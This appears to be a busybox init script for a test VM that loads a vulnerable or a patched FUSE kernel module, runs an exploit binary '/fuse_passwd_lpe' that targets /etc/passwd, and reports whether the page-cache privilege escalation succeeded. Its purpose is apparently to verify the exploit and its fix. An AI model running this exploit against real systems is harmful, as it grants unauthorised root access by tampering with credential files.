#!/bin/busybox sh
BB=/bin/busybox
$BB mount -t proc proc /proc
$BB mount -t sysfs sysfs /sys
$BB mount -t devtmpfs devtmpfs /dev
$BB mount -t tmpfs tmpfs /tmp
ROLE="vuln"
for arg in $($BB cat /proc/cmdline); do
  case "$arg" in proof_role=*) ROLE="${arg#proof_role=}";; esac
done
if [ "$ROLE" = "fixed" ]; then
  $BB insmod /fuse-fixed.ko || true
else
  $BB insmod /fuse-vuln.ko || true
fi
echo INIT_ROLE=$ROLE
echo INIT_KERNEL=$($BB uname -r)
echo INIT_ROOTFS_ACTIVE=/dev/vda
echo INIT_UID_BEFORE=$($BB id -u)
echo INIT_BEFORE=$($BB head -1 /etc/passwd)
/fuse_passwd_lpe --target /etc/passwd
rc=$?
echo INIT_EXPLOIT_RC=$rc
echo INIT_AFTER=$($BB head -1 /etc/passwd)
if [ "$ROLE" = "vuln" ] && [ $rc -eq 0 ]; then
  echo INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
elif [ "$ROLE" = "fixed" ] && [ $rc -ne 0 ]; then
  echo INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT
else
  echo INIT_RESULT_NOT_CONFIRMED
fi
$BB sync
$BB poweroff -f
